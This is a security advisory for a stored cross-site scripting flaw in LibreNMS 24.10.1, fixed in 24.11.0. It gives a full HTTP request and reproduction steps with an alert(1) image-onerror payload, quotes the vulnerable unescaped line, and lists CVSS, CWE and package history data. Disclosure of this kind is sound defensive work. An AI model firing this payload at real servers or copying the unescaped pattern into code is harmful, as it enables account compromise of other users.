LibreNMS Ports Stored Cross-site Scripting vulnerability
StoredXSS-LibreNMS-Ports
Description:
Stored XSS on the parameter:
/ajax_form.php -> param: descr
Request:
POST /ajax_form.php HTTP/1.1
Host: <your_host>
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: <your_XSRF_token>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <your_cookie>
type=update-ifalias&descr=%22%3E%3Cimg+src+onerror%3D%22alert(1)%22%3E&ifName=lo&port_id=1&device_id=1of Librenms version 24.10.1 (https://github.com/librenms/librenms) allows remote attackers to inject malicious scripts. When a user views or interacts with the page displaying the data, the malicious script executes immediately, leading to potential unauthorized actions or data exposure.
Proof of Concept:
- Add a new device through the LibreNMS interface.
- Edit the newly created device and select the "ports" section.
- In the "Description" field, enter the following payload:
"><img src onerror="alert(1)">. - Save the changes.
- The XSS vulnerability is triggered when accessing the "ports" tab, and the payload is executed again when hovering over the modified value in the "Port" field.
Payload:
Executes:
The script execution vulnerability in the description field, as shown in the image, occurs at Line 63 of functions.inc.php
$overlib_content = '<div class=overlib><span class=overlib-text>' . $text . '</span><br />';Impact:
Execution of Malicious Code
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | librenms/librenms | < 24.11.0 | 24.11.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
librenms/librenms- Disclosed
- 16.01.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-27vf-3g4f-6jp7 - CC BY 4.0
Vulnerability history: librenms/librenms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 106
- First → latest
- 10.2019 08.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 39
- Medium 56
- Low 6
Disclosures per year
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
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LibreNMS Ports Stored Cross-site Scripting vulnerability this entry
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